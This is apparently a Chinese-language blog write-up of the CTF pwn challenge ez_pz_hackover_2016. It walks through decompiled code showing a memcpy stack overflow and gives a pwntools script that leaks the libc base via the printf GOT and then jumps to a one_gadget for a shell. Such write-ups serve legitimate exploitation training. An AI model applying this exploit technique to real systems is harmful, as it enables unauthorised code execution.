ez_pz_hackover_2016

题目链接:ez_pz_hackover_2016

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0);
  header();
  chall();
  return 0;
}

其中 chall 函数如下。

int chall()
{
  size_t v0; // eax
  int result; // eax
  char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(s, 0x3FF, stdin);
  v0 = strlen(s);
  v3 = memchr(s, '\n', v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", s);
  result = strcmp(s, "crashme");
  if ( !result )
    return (int)vuln((char)s, 0x400u);
  return result;
}

vuln 函数如下。

void *__cdecl vuln(char src, size_t n)
{
  char dest[50]; // [esp+6h] [ebp-32h] BYREF

  return memcpy(dest, &src, n);
}

通过分析,可以发现,当用户输入的字符串中存在字符串 "crashme" 时,在特定条件下可以触发栈溢出。

解题思路:

  1. 栈溢出,泄露 LIBC 基址。
  2. 打 One_GadGet。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # .text:08048470 ; void __usercall __noreturn start(int@<eax>, void (*)(void)@<edx>)

    sla('> ', \
        b'crashme\x00'.ljust(0xFFFFC9CC - 0xFFFFC9B2, b'a') + \
            p32(ELF_FILE.plt['printf']) + \
                p32(0x08048470) + \
                    p32(ELF_FILE.got['fgets']))
    
    LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['fgets']
    leak('LIBC_ADDR', LIBC_ADDR)

    one = one_gadget(LIBC_ADDR)

    sla('> ', \
        b'crashme\x00'.ljust(0xFFFFC9CC - 0xFFFFC9B2, b'a') + \
            p32(one[0]) + b'\x00' * 0x100)
    irt()

pwn()
posted @ 2025-09-06 13:13  imtaieee  阅读(9)  评论(0)    收藏  举报